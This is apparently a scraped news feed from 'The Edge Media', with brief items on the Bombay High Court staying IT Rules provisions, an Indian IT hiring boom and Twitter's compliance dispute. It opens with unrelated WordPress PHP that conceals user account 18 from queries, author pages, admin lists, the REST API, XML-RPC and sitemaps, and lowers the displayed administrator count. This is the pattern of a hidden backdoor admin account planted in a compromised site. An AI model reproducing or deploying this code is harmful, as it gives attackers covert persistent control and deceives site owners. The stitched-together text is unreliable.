add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Bombay HC Stays Two Provisions of IT Rules, Says They Prima Facie Violate Freedom of Speech appeared first on The Edge Media.
]]>The court was hearing petitions filed by The Leaflet and Nikhil Wagle against the new rules.The bench of Chief Justice Dipankar Datta and Justice G.S. Kulkarni, however, pointed out that the relief was only applicable to the two petitioners in question, Bar and Bench reported.
The rules being stayed, the high court noted, prima facie violate the right to freedom of speech under Article 19 of the constitution and also went against the IT Act, under which the new rules were formed.
The post Bombay HC Stays Two Provisions of IT Rules, Says They Prima Facie Violate Freedom of Speech appeared first on The Edge Media.
]]>The post It’s raining jobs in Indian IT appeared first on The Edge Media.
]]>They are being wooed with joining bonuses. Fintech firm BharatPe is offering BMW bikes to new joinees. There are others offering iPhones and flexi-working. Some companies are even paying Rs 1,000 to Rs 5,000 each to candidates to take their assessment tests, irrespective of whether the candidates eventually join these firms.
Recruitment firms are minting money. But they are also at their wits end. They are working overtime, and candidate negotiations have become a nightmare. By the time they make an offer, the candidate has received another better one. And then they have to go back to their client to see if they could up their offer.
Saravanan Balasundaram, founder and CEO of talent consultancy firm Han Digital, said they schedule more than 1,000 interviews a week, but in 40% of these cases, either the candidate does not show up, or internet connectivity issues result in the interview being cancelled or postponed. “Of the 600 interviews that happen, only about 75 join,” he said.
Siva Prasad Nanduri, VP and business head at IT staffing firm TeamLease Digital, said the talent demand from IT firms was 5,000 in the quarter ended April, but this jumped to 20,000 in the quarter ended June.
TCS, Infosys, HCL and Wipro together expect to hire 1 lakh people this fiscal year. Cognizant alone plans to hire 1 lakh experienced professionals and onboard 30,000 freshers this year, as also make 45,000 offers to campus recruits who would join the company next year. Global demand for digitisation, following the experiences of the pandemic, has resulted in a sharp pickup in business for IT firms.
The post It’s raining jobs in Indian IT appeared first on The Edge Media.
]]>The post Twitter still to comply with new IT policy: Govt appeared first on The Edge Media.
]]>All major social media organisations have shared details of chief compliance officer, nodal contact person and grievance officer with the ministry, as decreed by the new policy.
Earlier, the dispute over Twitter’s handling of certain tweets intensified into an all-out war of words. The government was quoted as saying that the messaging platform was levelling baseless and false allegations to defame India and dictating terms to the world’s largest democracy.
The post Twitter still to comply with new IT policy: Govt appeared first on The Edge Media.
]]>The post Twitter clarifies its stance on amended IT rules appeared first on The Edge Media.
]]>Twitter has been under government scrutiny after it marked posts by some BJP leaders on the “Congress toolkit” issue as “manipulated media”. The Delhi Police paid Twitter India’s offices in Delhi and Gurgaon a visit on 24 May and gave them a notice to explain their position.
The changed rules came into force on 26 May and require websites to enforce a system to address complaints and trace the “first originator” of content that aims to “undermine the sovereignty of India, security of the state, or public order”.
The post Twitter clarifies its stance on amended IT rules appeared first on The Edge Media.
]]>